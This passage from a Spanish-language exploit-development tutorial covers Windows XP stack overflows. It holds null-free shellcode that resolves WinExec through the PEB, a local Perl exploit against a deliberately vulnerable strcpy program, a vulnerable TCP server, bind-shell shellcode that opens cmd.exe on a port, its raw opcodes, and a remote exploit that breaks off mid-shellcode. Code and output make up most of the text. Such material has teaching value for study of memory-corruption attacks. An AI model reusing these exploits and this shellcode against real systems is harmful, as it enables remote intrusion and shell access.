funcion mov edi, libreria ; nombre de la funcion a buscar mov edx, [esi+078h] ; puntero a la Export table add edx, base ; sumamos la direccion base mov ebx, [edx+20h] ; puntero al array AddressOfNames add ebx, base xor eax, eax ; indice de AddressOfNames bucle_funcion: ; buscamos la funcion a partir de la direccion base mov edi, [ebx] add edi, base mov esi, funcion ; puntero al nombre de la funcion push ecx ; guardamos la longitud de la funcion repz cmpsb jnz funcion_no_encontrada add esp, 4 jmp verificar_funcion funcion_no_encontrada: pop ecx ; cogemos la longitud de la funcion add ebx, 4 ; puntero a la siguiente funcion inc eax ; incrementamos el numero de funciones revisadas cmp eax, dword ptr [edx+18h] ; si aun quedan funciones de esa libreria, sigue buscando jnz bucle_libreria verificar_funcion: cmp eax, dword ptr [edx+18h] ; verificamos si hemos llegado aqui porque se encontro la funcion jnz libreria_encontrada ; o porque se llego al final de la tabla xor eax, eax ; si no se encontro la funcion pone eax a cero y salta a fin jmp fin_libreria funcion_encontrada: mov esi, dword ptr [edx+24h] ; puntero a la tabla de ordinales add esi, base ; añadimos la direccion base mov cx, word ptr [esi+2 * eax] ; cx = numero de la funcion que se ha encontrado mov edi, dword ptr [edx+1ch] ; puntero a la tabla de direcciones add edi, base ; añadimos la direccion base mov eax, dword ptr [edi+4 * ecx] ; puntero a la funcion encontrada add eax, base ; añadimos la direccion base fin_libreria: ret end start -------------------------------- NOTA: en la parte de codigo que busca la direccion base del kernel doy por supuesto que el sistema es NT, XP, 2000 ... vamos, que no se trata de 9x. Esto lo hice asi por ahorrar codigo. Si quieres que tambien busque en Windows 9x debes cambiarla por: -------------------------------- busca_kernel32: mov eax, fs:[30h] ; puntero al PEB mov eax, [eax+0ch] ; puntero a la estructura de datos test eax, eax js busca_kernel32_9x ; si el flag S=1 esta con Windows 9x sino con NT, XP, ... busca_kernel32_nt: mov esi, [eax+1ch] ; extrae la primera entrada lodsd ; avanza a la siguiente mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax jmp fin_kernel32 busca_kernel32_9x: mov eax, [eax+34h] lea eax, [eax+7ch] mov eax, [eax+3ch] ; obtiene la direccion base y la guarda en eax fin_kernel32: ret -------------------------------- Otro codigo mas completo para localizar la direccion base de kernel32.dll es el siguiente (extraido de http://undercon.org/archivo/0x06/UC0x06-Win32Shellcodes.txt): -------------------------------- busca_kernel32: mov eax, fs:[30h] ; puntero al PEB mov eax, [eax+0ch] ; puntero a la estructura de datos add eax, 0ch ; en eax tengo direccion correcta mov eax, [eax] bucle1: mov ebx, [eax] ; en ebx tengo direccion de next add eax, 30h ; nombre de la dll en unicode mov ecx, 00320033h mov edx, [eax] cmp [edx+0ch], ecx jne bucle2 mov ecx, 0064002Eh cmp [edx+10h], ecx jne bucle2 sub eax, 30h add eax, 18h mov eax, [eax] ; obtiene la direccion base y la guarda en eax ret bucle2: mov eax, ebx jmp bucle1 -------------------------------- Volviendo al programa completo, en este churro de codigo se puede ver que, por un lado saca la direccion base de kernel32.dll, como dije antes. Luego buscamos la direccion de LoadLibraryA y tras cargar msvcrt.dll usamos el mismo codigo para buscar la funcion system. Si compilamos el programa y lo ejecutamos, podemos ver que se arranco la calculadora de Windows, sin necesidad de cargar la libreria msvcrt.dll con un invoke, como tuvimos que hacer antes. Partiendo de este codigo ahora tenemos que crear nuestra shellcode y para ello hay que tener en cuenta algunos factores: > por un lado, tendremos que sustituir las llamadas iniciales por el codigo, evitando hacer ningun CALL. > esto nos hara repetir el mismo codigo de buscar funcion dos veces, ya que tenemos que buscar dos funciones diferentes (LoadLibraryA y system). > por otro lado, quitaremos los xor eax, eax y el jz salir ya que vamos a suponer que siempre va a encontrar la funcion. Asi ahorramos codigo y evitamos caracacteres que puedan hacer que no funcione nuestra shellcode. > tambien tenemos que evitar las definiciones en la seccion .data ya que se guardaria en lugares desconocidos y no podriamos invocarlas. > Una vez creado el programa, que debera poderse ejecutar al compilar el ASM, al igual que este, revisaremos los posibles caracteres nulos y demas. Para que no se extienda mucho este documento, no voy a copiar el codigo ya que al final la shellcode queda un poco larga, dado que la parte mas larga, la de buscar la funcion hay que repetirla dos veces. Para el que quiera practicar, lo podemos dejar como deberes xDDD Por el contrario vamos a repetir la misma operacion pero ejecutando nuestra calculadora con WinExec en lugar de con system. El motivo por el que opto por usar WinExec es porque esta funcion se encuentra en kernel32.dll y asi no necesito cargar msvcrt.dll y por tanto tampoco necesito LoadLibraryA. De esta forma el codigo de nuestra shellcode se quedara mucho mas reducido: > Buscar la direccion de la libreria kernel32.dll > Dentro de esta libreria buscamos la funcion WinExec > Conociendo la direccion de WinExec ya podemos lanzar la calculadora El codigo mas o menos optimizado y revisado con OllyDbg para solventar los problemas de caracteres invalidos, como vimos en el punto anterior, quedaria asi: ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive assume fs:nothing include windows.inc include kernel32.inc includelib masm32.lib includelib kernel32.lib .code start: ; ****************************************** ; Buscamos la dirección base de kernel32.dll ; ****************************************** xor eax, eax ; cargamos con eax+30h para evitar caracteres nulos mov eax, fs:[eax+30h]; puntero al PEB mov eax, [eax+0ch] ; puntero a la estructura de datos mov esi, [eax+1ch] ; extrae la primera entrada lodsd ; avanza a la siguiente mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax push eax ; guardamos en la pila la direccion base de kernel32.dll ; *********************************************************************** ; Buscamos la direccion de WinExec dada la direccion base de kernel32.dll ; *********************************************************************** busca_funcion: mov esi, [esp] ; puntero a la direccion base add esi, [esi+03Ch] ; puntero a PE signature mov edx, [esi+078h] ; puntero a la Export table add edx, [esp] ; sumamos la direccion base mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode add ecx, 1fh inc ecx mov ebx, [ecx] ; puntero al array AddressOfNames add ebx, [esp] xor eax, eax ; indice de AddressOfNames bucle_funcion: ; buscamos la funcion a partir de la direccion base mov edi, [ebx] add edi, [esp] ; como ya no usamos el segmento .data, comparamos directamente el nombre de ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes, ; tenemos que separar en un dword, un word y un byte, para que no nos coja ; ningun caracter nulo cmp dword ptr [edi], 456E6957h ; EniW = WinE al revés jnz funcion_no_encontrada cmp word ptr [edi + 4], 6578h ; ex = xe al revés jnz funcion_no_encontrada cmp word ptr [edi + 6], 63h ; c je funcion_encontrada funcion_no_encontrada: nop ; ponemos un NOP aqui porque tras depurar con el Olly ; vi que usaba \x09 (tabulador) y me rompia la shellcode ; de esta forma amplio el salto en un byte y en lugar de ; 09 pondra 0A add ebx, 4 inc eax cmp eax, dword ptr [edx+18h] jnz bucle_funcion funcion_encontrada: mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales add esi, [esp] ; añadimos la direccion base xor ecx, ecx mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones add edi, [esp] ; añadimos la direccion base mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada add eax, [esp] ; añadimos la direccion base ; ********************************** ; lanzamos la calculadora de Windows ; ********************************** push ebp mov ebp, esp xor dl, dl sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena mov byte ptr [ebp-0fh], 63h ; 'c' mov byte ptr [ebp-0eh], 61h ; 'a' mov byte ptr [ebp-0dh], 6Ch ; 'l' mov byte ptr [ebp-0ch], 63h ; 'c' mov byte ptr [ebp-0bh], 2Eh ; '.' mov byte ptr [ebp-0ah], 65h ; 'e' mov byte ptr [ebp-09h], 78h ; 'x' mov byte ptr [ebp-08h], 65h ; 'e' mov byte ptr [ebp-07h], dl ; 0x00 lea ecx, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena push eax ; Metemos la dirección de 'calc.exe' en la pila xor ebx, ebx mov bl, 5 ; SW_SHOW push ebx push ecx ; guardamos la direccion en la pila call eax ; llamamos a WinExec y ejecuta nuestra shellcode invoke ExitProcess, 0 end start -------------------------------- Tras sacar los opcodes con el OllyDbg, el exploit nos quedaria asi: -------------------------------- #!/usr/bin/perl $relleno = "A"x76; $offset = "\xb8\x69\x83\x7c"; # CALL ESP $shellcode = "\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08" . "\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03\x14\x24\x8B\xCA\x83" . "\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81" . "\x3F\x57\x69\x6E\x45\x75\x0F\x66\x81\x7F\x04\x78\x65\x75\x07\x66" . "\x83\x7F\x06\x63\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xDA" . "\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03" . "\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\xEC\x32\xD2\x83\xEC\x0C\xC7" . "\x45\xF7\x63\x61\x6C\x63\xC7\x45\xFB\x2E\x65\x78\x65\x88\x55\xFF" . "\x8D\x4D\xF7\x33\xDB\xB3\x05\x53\x51\x8B\xD8\xFF\xD3"; $buffer = $relleno . $offset . $shellcode; exec("vuln.exe", $buffer, 0); -------------------------------- Para probar este exploit vamos a necesitar un programa vulnerable algo mas grande que el anterior ya que no nos cabe en la pila. Podemos usar, por ejemplo este, en el que reservamos memoria para un segundo buffer mas grande: ---- vuln.c -------------------- #include #include void copiar(char *dato) { char buffer[64]; // array con 64 bytes de espacio strcpy (buffer, dato); // posible overflow return; } int main (int argc, char *argv[]) { char buffer2[1000]; // array con 1000 bytes de espacio if (argc < 2) { printf ("Hay que usar: %s, texto\n", argv[0]); return 0; } copiar(argv[1]); return 0; } -------------------------------- Y si todo ha ido bien, se debera ejecutar la calculadora de Windows una vez mas. ---[ 6 - Creando un exploit remoto Vamos a ver ahora como explotar un programa remoto. Para ello vamos a crear primero un programa vulnerable que vamos a llamar servidor y, para hacer pruebas crearemos tambien un programa cliente. ----[ 6.1 - Creando un programa vulnerable Como ejemplo vamos a usar un pequeño programa que se queda a la escucha en el puerto 9999 y que espera que se conecte un cliente pasando como parametro su nombre de usuario. Luego hace un strcpy que puede provocar un overflow. Tal y como esta el strcpy es algo ilogico pero lo hice asi para simplificar y poder probar nuestro exploit. Para compilar con Dev-C++ hay que: > Crear un nuevo proyecto Windows de consola en C > En el archivo de codigo que se crea (main.c) copiamos el codigo de abajo > Añadimos la libreria wsock pinchando en Proyecto -> Opciones de Proyecto -> Parametros -> Añadir Biblioteca u Objeto Buscamos en la ruta donde tengamos DevC, entramos en lib y seleccionamos el fichero: libwsock32.a ---- servidor.c ---------------- #include #include #include #define PUERTO 9999 // puerto 9999 void copiar(char *nombre) { char buffer[64]; strcpy(buffer, nombre); return; } int main() { WSADATA info; if (WSAStartup(MAKEWORD(2,0), &info) != 0) { printf ("Error al inicializar Winsock\n"); exit(-1); } int fd1, fd2; // descriptores de fichero struct sockaddr_in server; /* para la información de la dirección del servidor */ struct sockaddr_in client; /* para la información de la dirección del cliente */ int sin_size; // Llamada a socket() if ((fd1=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { printf("error en socket()\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PUERTO); server.sin_addr.s_addr = INADDR_ANY; memset(&(server.sin_zero),'\0',8); // Llamada a bind() if(bind(fd1,(struct sockaddr*)&server, sizeof(struct sockaddr))==-1) { printf("error en bind() \n"); exit(-1); } // Llamada a listen() if(listen(fd1, 1) == -1) { printf("error en listen()\n"); exit(-1); } char nombre[1000]; while(1) { sin_size=sizeof(struct sockaddr_in); // Llamada a accept() if ((fd2 = accept(fd1,(struct sockaddr *)&client, &sin_size))==-1) { printf("error en accept()\n"); exit(-1); } recv(fd2, nombre, 1000, 0); printf ("Se ha conectado: %s \n",nombre); copiar(nombre); } WSACleanup(); } -------------------------------- Y para el cliente podemos usar el siguien codigo, añadiendo la libreria igual que hicimos con el servidor: ---- cliente.c ----------------- #include #include #include #include #include #include #define PUERTO 9999 int main(int argc, char *argv[]) { char *nombre; WSADATA info; if (WSAStartup(MAKEWORD(2,0), &info) !=0) { printf("Fue imposible inicializar winsock 2.0\n"); exit(1); } struct sockaddr_in red; if(argc != 3) { printf("Escribe %s \n", argv[0]); exit(1); } nombre = argv[2]; int fd = 0; if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Error en Socket: %d\n", WSAGetLastError()); exit(1); } red.sin_family = AF_INET; red.sin_port = htons(PUERTO); red.sin_addr.s_addr = inet_addr(argv[1]); if(connect(fd,(struct sockaddr*)&red,sizeof(red))==SOCKET_ERROR) { printf("Error al conectar: %d\n", WSAGetLastError()); exit(1); } send(fd, nombre, 999, 0); } -------------------------------- Para probar, arrancamos el servidor en una consola y en otra consola ejecutamos el cliente: C:\> cliente.exe 127.0.0.1 Pepelux En la ventana del servidor vemos que dice: Se ha conectado: Pepelux Si ahora probamos con una cadena muy larga, vemos que se cierra el servidor dando un error, ya que sobreescribimos la direccion de retorno en la funcion Copiar: C:\> cliente.exe 127.0.0.1 AAAAAAAAAAAA...muchas mas....AAAAAAAAAA Para ver el tamaño del buffer abrimos el servidor con el OllyDbg y le damos con el boton derecho y Search for -> All referented text strings. Hacemos doble click sobre la cadena 'Se ha conectado: %s\n' y vamos justo al codigo donde se hace el strcpy: -------------------------------- 00401290 /$ 55 PUSH EBP 00401291 |. 89E5 MOV EBP,ESP 00401293 |. 83EC 58 SUB ESP,58 00401296 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; ||servidor. 00401299 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; || 0040129D |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; || 004012A0 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; || 004012A3 |. E8 F8070000 CALL ; |\strcpy 004012A8 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |servidor. 004012AB |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 004012AF |. C70424 003040>MOV DWORD PTR SS:[ESP],servidor.00403000 ; |ASCII "Se ha conectado: %s \n" 004012B6 |. E8 D5070000 CALL ; \printf 004012BB |. C9 LEAVE 004012BC \. C3 RETN -------------------------------- Ponemos un Breakpoint en el RET y vamos probando envios hasta ver que, al igual que en el programa vulnerable anterior, con 72 bytes llenamos el buffer, 4 bytes mas para el EBP y otros 4 para sobreescribir la direccion de retorno. La forma de explotar el programa es similar a lo visto anteriormente, solo que la shellcode nos debe abrir un puerto al que podernos conectar, es decir, en un exploit local es suficiente abrir una consola, pero en remoto, hay que crear una conexion que escuche en un puerto determinado, y que nos haga una bind shell, a traves de la cual accederemos al sistema. ----[ 6.2 - Programando una shellcode Al igual que hicimos antes, vamos a crear primero un programa en ASM que al ejecutarlo realice la tarea que deseamos, es decir, abrir un puerto y darnos una shell cuando nos conectemos. El codigo de nuestro programa ASM seria algo asi: ---- scode.asm ----------------- .386 .model flat, stdcall option casemap :none Shell proto include windows.inc include kernel32.inc include ws2_32.inc include masm32.inc includelib ws2_32.lib includelib ernel32.lib includelib masm32.lib .data ip db "127.0.0.1", 0 puerto dd 9999 cmdpath db "cmd.exe", 0 .code start: invoke Shell invoke ExitProcess,eax Shell Proc LOCAL WSAData:WSADATA LOCAL sSocket:SOCKET LOCAL sAddr :sockaddr_in LOCAL stti :STARTUPINFO LOCAL pri :PROCESS_INFORMATION ; recuperamos el contenido de la estructura StartupInfo mov stti.cb, sizeof stti invoke GetStartupInfo, addr stti mov stti.dwFlags, STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES mov stti.wShowWindow, SW_HIDE ; obtenemos los bytes de la direccion IP host mov sAddr.sin_family, AF_INET invoke htonl, INADDR_ANY mov sAddr.sin_addr, eax invoke htons, puerto mov word ptr [sAddr.sin_port], ax ; inicializamos winsock invoke WSAStartup, 202h, addr WSAData ; llamamos a socket() invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 mov sSocket, eax ; llamamos a bind() invoke bind, sSocket, addr sAddr, sizeof sAddr ; llamamos a listen() invoke listen, sSocket, 5 mov ebx, sSocket ; llamamos a accept() invoke accept, sSocket, NULL, NULL mov sSocket, eax ; llamamos a close() invoke closesocket, ebx mov eax, sSocket mov stti.hStdInput, eax mov stti.hStdOutput, eax mov stti.hStdError, eax ; lanzamos la shell invoke CreateProcess, NULL, addr cmdpath, NULL, NULL, TRUE, NULL, NULL, NULL, addr stti, addr pri ; esperamos una conexion externa invoke WaitForSingleObject, pri.hProcess, INFINITE ; cerramos el socket invoke CloseHandle, pri.hProcess invoke CloseHandle, pri.hThread invoke closesocket, sSocket invoke WSACleanup ret Shell endp end start -------------------------------- Si lo compilamos y ejecutamos, aunque aparentemente no ocurre nada, si damos a Ctrl+Alt+Sup vemos que esta ejecutandose. Ahora hacemos una conexion mediante telnet, por ejemplo, y vemos que nos da una shell: -------------------------------- C:\> telnet 127.0.0.1 9999 Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\servidor\> -------------------------------- Pues ahora que tenemos nuestro codigo tenemos que preparar la shellcode y, para ello, vamos a realizar algo similar a la shellcode anterior, buscaremos la direccion de cada funcion partiendo de la direccion base de kernel32.dll. Luego eliminaremos los caracteres invalidos y crearemos un exploit. Vamos a obtener el procedimiento directamente desde el OllyDbg. Para ello lo abrimos cargando el programa y entramos en el CALL con F7. Copiamos el codigo en un nuevo ASM y lo retocamos un poco para que funcione. Quedaria asi: ---- scode.asm ----------------- .386 .model flat, stdcall option casemap :none Shell proto include windows.inc include kernel32.inc include ws2_32.inc include masm32.inc includelib ws2_32.lib includelib kernel32.lib includelib masm32.lib .data cmdpath db "cmd.exe",0 .code start: PUSH EBP MOV EBP,ESP SUB ESP,1F8h MOV DWORD PTR SS:[EBP-1E8h],44h LEA EAX,DWORD PTR SS:[EBP-1E8h] PUSH EAX ; /pStartupinfo = NULL CALL GetStartupInfoA ; \GetStartupInfoA MOV DWORD PTR SS:[EBP-1BCh],101h MOV WORD PTR SS:[EBP-1B8h],0 MOV WORD PTR SS:[EBP-1A4h],2 PUSH 0 ; /HostLong = 0 CALL htonl ; \htonl MOV DWORD PTR SS:[EBP-1A0h],EAX PUSH 270Eh ; puerto 9998 CALL htons ; \htons MOV WORD PTR SS:[EBP-1A2h],AX LEA EAX,DWORD PTR SS:[EBP-18Eh] PUSH EAX ; /pWSAData = NULL PUSH 202h ; |RequestedVersion = 202 (2.2.) CALL WSAStartup ; \WSAStartup PUSH 0 ; /Flags = 0 PUSH 0 ; |Group = 0 PUSH 0 ; |pWSAprotocol = NULL PUSH 6 ; |Protocol = IPPROTO_TCP PUSH 1 ; |Type = SOCK_STREAM PUSH 2 ; |Family = AF_INET CALL WSASocketA ; \WSASocketA MOV DWORD PTR SS:[EBP-194h],EAX PUSH 10h ; /AddrLen = 10 (16.) LEA EAX,DWORD PTR SS:[EBP-1A4h] ; | PUSH EAX ; |pSockAddr = NULL PUSH DWORD PTR SS:[EBP-194h] ; |Socket = 81C12230 CALL bind ; \bind PUSH 5 ; /Backlog = 5 PUSH DWORD PTR SS:[EBP-194h] ; |Socket = 81C12230 CALL listen ; \listen MOV EBX,DWORD PTR SS:[EBP-194h] PUSH 0 ; /pAddrLen = NULL PUSH 0 ; |pSockAddr = NULL PUSH DWORD PTR SS:[EBP-194h] ; |Socket = 81C12230 CALL accept ; \accept MOV DWORD PTR SS:[EBP-194h],EAX PUSH EBX ; /Socket = 7FFDE000 CALL closesocket ; \closesocket MOV EAX,DWORD PTR SS:[EBP-194h] MOV DWORD PTR SS:[EBP-1B0h],EAX MOV DWORD PTR SS:[EBP-1ACh],EAX MOV DWORD PTR SS:[EBP-1A8h],EAX LEA EAX,DWORD PTR SS:[EBP-1F8h] PUSH EAX ; /pProcessInfo = NULL LEA EAX,DWORD PTR SS:[EBP-1E8h] ; | PUSH EAX ; |pStartupInfo = NULL PUSH 0 ; |CurrentDir = NULL PUSH 0 ; |pEnvironment = NULL PUSH 0 ; |CreationFlags = 0 PUSH 1 ; |InheritHandles = TRUE PUSH 0 ; |pThreadSecurity = NULL PUSH 0 ; |pProcessSecurity = NULL PUSH offset cmdpath ; |CommandLine = "cmd.exe" PUSH 0 ; |ModuleFileName = NULL CALL CreateProcessA ; \CreateProcessA PUSH -1 ; /Timeout = INFINITE PUSH DWORD PTR SS:[EBP-1F8h] ; |hObject = 00000023 CALL WaitForSingleObject ; \WaitForSingleObject PUSH DWORD PTR SS:[EBP-1F8h] ; /hObject = 00000023 CALL CloseHandle ; \CloseHandle PUSH DWORD PTR SS:[EBP-1F4h] ; /hObject = 81C122A0 CALL CloseHandle ; \CloseHandle PUSH DWORD PTR SS:[EBP-194h] ; /Socket = 81C12230 CALL closesocket ; \closesocket CALL WSACleanup ; [WSACleanup invoke ExitProcess, eax end start -------------------------------- Al codigo obtenido con el Olly tuve que hacer un par de modificaciones para que funcione: > ADD ESP,-1F8h lo sustituimos por SUB ESP,1F8h > Añadimos una h a cada numero para indicar que es hexadecimal > Cambiamos PUSH DWORD PTR DS:[40300A] por PUSH 270Eh, metiendo en la pila el puerto directamente, en lugar de cogerlo de una variable (he cambiado la direccion 9999 por 9998 para que nos abra la shell ahi. Hay que tener en cuenta que el 9999 esta ocupado por el servidor y necesitamos que nos abra otro puerto diferente) > Por ultimo, cambiamos todos los CALL dejando solo el nombre de la funcion Una vez llegados a este punto, nos queda: > Suprimir la variable cmdpath metiendo la cadena cmd.exe directamente en la pila, como hicimos en los otros codigos > Hacer que nuestra shellcode busque las funciones que necesita, partiendo de la direccion base de kernel32.dll > suprimir los caracteres invalidos (en este caso el \x20 no seria un problema, como nos ocurrio antes El punto 2 nos llevaria mucho tiempo. Ya vimos antes un metodo para calcular la direccion de las librerias y de sus funciones, por lo que no voy a repetirlo aqui. Ademas que hay shellcodes en Internet que hacen lo mismo y estan optimizadas al maximo y, la idea de este texto es hacer que se entienda la metodologia de trabajo. El codigo resultante, podria ser algo como esto: ---- scode.asm ----------------- .386 .model flat, stdcall option casemap :none assume fs:nothing include windows.inc include kernel32.inc include ws2_32.inc include masm32.inc includelib ws2_32.lib includelib kernel32.lib includelib masm32.lib .data lib db "ws2_32.dll" .code start: invoke LoadLibrary, offset lib push ebp mov ebp, esp sub sp, 1F8h xor ecx, ecx mov cl, 44h mov dword ptr ss:[ebp-1E8h], ecx lea eax, ss:[ebp-1E8h] push eax ; /pStartupinfo = NULL mov ecx, 7c801ef2h call ecx ; \getstartupinfoa xor ecx, ecx mov cx, 101h mov dword ptr ss:[ebp-1BCh], ecx xor ecx, ecx mov word ptr ss:[ebp-1B8h], cx add cl, 2 mov word ptr ss:[ebp-1A4h], cx xor ecx, ecx push ecx ; /HostLong = 0 mov ecx, 71a32bc0h call ecx ; \htonl mov dword ptr ss:[ebp-1A0h], eax xor ecx, ecx mov cx, 270Eh push ecx ; puerto 9998 mov ecx, 71a32b66h call ecx ; \htons mov word ptr ss:[ebp-1A2h], ax lea eax, word ptr ss:[ebp-18Eh] push eax ; /pWSAData = NULL xor ecx, ecx mov cx, 202h push ecx ; |RequestedVersion = 202 (2.2.) mov ecx, 71a3664dh call ecx ; \wsastartup xor ecx, ecx push ecx ; /Flags = 0 push ecx ; |Group = 0 push ecx ; |pWSAprotocol = NULL mov cl, 6 push ecx ; |Protocol = IPPROTO_TCP xor ecx, ecx add cl, 1 push ecx ; |Type = SOCK_STREAM add cl, 1 push ecx ; |Family = AF_INET mov ecx, 71a38769h call ecx ; \wsasocketa mov dword ptr ss:[ebp-194h],eax xor ecx, ecx mov cl, 10h push ecx ; /AddrLen = 10 (16.) lea eax,dword ptr ss:[ebp-1A4h] push eax ; |pSockAddr = NULL push dword ptr ss:[ebp-194h] ; |Socket mov ecx, 71a33e01h dec ecx call ecx ; \bind xor ecx, ecx mov cl, 5h push ecx ; /Backlog = 5 push dword ptr ss:[ebp-194h] ; |Socket mov ecx, 71a388d3h call ecx ; \listen mov ebx,dword ptr ss:[ebp-194h] xor ecx, ecx push ecx ; /pAddrLen = NULL push ecx ; |pSockAddr = NULL push dword ptr ss:[ebp-194h] ; |Socket mov ecx, 71a41028h call ecx ; \accept mov dword ptr ss:[ebp-194h],eax push ebx ; /Socket mov ecx, 71a39639h call ecx ; \closesocket mov eax,dword ptr ss:[ebp-194h] mov dword ptr ss:[ebp-1B0h], eax mov dword ptr ss:[ebp-1ACh], eax mov dword ptr ss:[ebp-1A8h], eax lea eax, dword ptr ss:[ebp-1F8h] push ebp xor dl, dl sub esp, 08h ; dejamos hueco en la pila mov byte ptr [ebp-08h], 63h ; 'c' mov byte ptr [ebp-07h], 6dh ; 'm' mov byte ptr [ebp-06h], 64h ; 'd' mov byte ptr [ebp-05h], 2eh ; '.' mov byte ptr [ebp-04h], 65h ; 'e' mov byte ptr [ebp-03h], 78h ; 'x' mov byte ptr [ebp-02h], 65h ; 'e' mov byte ptr [ebp-01h], dl ; 0x00 lea ebx, [ebp-08h] ; cargamos la direccion del inicio de cmd.exe push eax ; /pProcessInfo = NULL lea eax,dword ptr ss:[ebp-1E8h] ; | push eax ; |pStartupInfo = NULL xor ecx, ecx push ecx ; |CurrentDir = NULL push ecx ; |pEnvironment = NULL push ecx ; |CreationFlags = 0 inc ecx push ecx ; |InheritHandles = TRUE dec ecx push ecx ; |pThreadSecurity = NULL push ecx ; |pProcessSecurity = NULL push ebx ; Guardamos la direccion de 'cmd.exe' push ecx ; |ModuleFileName = NULL mov eax, 7c80236bh call eax ; \createprocessa xor ecx, ecx dec ecx push ecx ; /Timeout = INFINITE push dword ptr ss:[ebp-1F8h] ; |hObject mov eax, 7c802530h call eax ; \waitforsingleobject push dword ptr ss:[ebp-1F8h] ; /hObject mov eax, 7c809b97h call eax ; \closehandle push dword ptr ss:[ebp-1F4h] ; /hObject mov eax, 7c809b97h call eax ; \closehandle push dword ptr ss:[ebp-194h] ; /Socket mov eax, 71a39639h call eax ; \closesocket mov eax, 71a34428h call eax ; [wsacleanup invoke ExitProcess, 0 end start -------------------------------- Cogiendo los opcodes de este codigo, el exploit unicamente funcionara en mi maquina, ya que, como dije antes, las direcciones de librerias y funciones corresponden a las de mi equipo (Windows XP SP2) y seria necesario calcularlas para otras maquinas. De forma que si vas a probar el codigo no debes olvidar cambiar las direcciones que o bien las sacas del Olly o bien con el programa BuscaOffset. Los opcodes que me quedan son: -------------------------------- 55 8B EC 66 81 EC F8 01 33 C9 B1 44 89 8D 18 FE FF FF 8D 85 18 FE FF FF 50 B9 F2 1E 80 7C FF D1 33 C9 66 B9 01 01 89 8D 44 FE FF FF 33 C9 66 89 8D 48 FE FF FF 80 C1 02 66 89 8D 5C FE FF FF 33 C9 51 B9 C0 2B A3 71 FF D1 89 85 60 FE FF FF 33 C9 66 B9 0E 27 51 B9 66 2B A3 71 FF D1 66 89 85 5E FE FF FF 8D 85 72 FE FF FF 50 33 C9 66 B9 02 02 51 B9 4D 66 A3 71 FF D1 33 C9 51 51 51 B1 06 51 33 C9 80 C1 01 51 80 C1 01 51 B9 69 87 A3 71 FF D1 89 85 6C FE FF FF 33 C9 B1 10 51 8D 85 5C FE FF FF 50 FF B5 6C FE FF FF B9 01 3E A3 71 49 FF D1 33 C9 B1 05 51 FF B5 6C FE FF FF B9 D3 88 A3 71 FF D1 8B 9D 6C FE FF FF 33 C9 51 51 FF B5 6C FE FF FF B9 28 10 A4 71 FF D1 89 85 6C FE FF FF 53 B9 39 96 A3 71 FF D1 8B 85 6C FE FF FF 89 85 50 FE FF FF 89 85 54 FE FF FF 89 85 58 FE FF FF 8D 85 08 FE FF FF 55 32 D2 83 EC 08 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 88 55 FF 8D 5D F8 50 8D 85 18 FE FF FF 50 33 C9 51 51 51 41 51 49 51 51 53 51 B8 6B 23 80 7C FF D0 33 C9 49 51 FF B5 08 FE FF FF B8 30 25 80 7C FF D0 FF B5 08 FE FF FF B8 97 9B 80 7C FF D0 FF B5 0C FE FF FF B8 97 9B 80 7C FF D0 FF B5 6C FE FF FF B8 39 96 A3 71 FF D0 B8 28 44 A3 71 FF D0 -------------------------------- ----[ 6.3 - Creando un exploit En este caso el exploit varia un poco ya que debe mandar la shellcode de forma remota. Una solucion podria ser: ---- exploit.pl ---------------- #!/usr/bin/perl use IO::Socket; $relleno = "A"x76; # 72+EBP $offset = "\xb8\x69\x83\x7c"; # CALL ESP $shellcode = "\x55\x8B\xEC\x66\x81\xEC\xF8\x01\x33\xC9\xB1\x44\x89\x8D\x18\xFE" . "\xFF\xFF\x8D\x85\x18\xFE\xFF\xFF\x50\xB9\xF2\x1E\x80\x7C\xFF\xD1" . "\x33\xC9\x66\xB9\x01\x01\x89\x8D\x44\xFE\xFF\xFF\x33\xC9\x66\x89" . "\x8D\x48\xFE\xFF\xFF\x80\xC1\x02\x66\x89\x8D\x5C\xFE\xFF\xFF\x33" . "\xC9\x51\xB9\xC0\x2B\xA3\x71\xFF\xD1\x89\x85\x60\xFE\xFF\xFF\x33" . "\xC9\x66\xB9\x0E\x27\x51\xB9\x66\x2B\xA3\x71\xFF\xD1\x66\x89\x85" . "\x5E\xFE\xFF\xFF\x8D\x85\x72\xFE\xFF\xFF\x50\x33\xC9\x66\xB9\x02" . "\x02\x51\xB9\x4D\x66\xA3\x71\xFF\xD1\x33\xC9\x51\x51\x51\xB1\x06" . "\x51\x33\xC9\x80\xC1\x01\x51\x80\xC1\x01\x51\xB9\x69\x87\xA3\x71" . 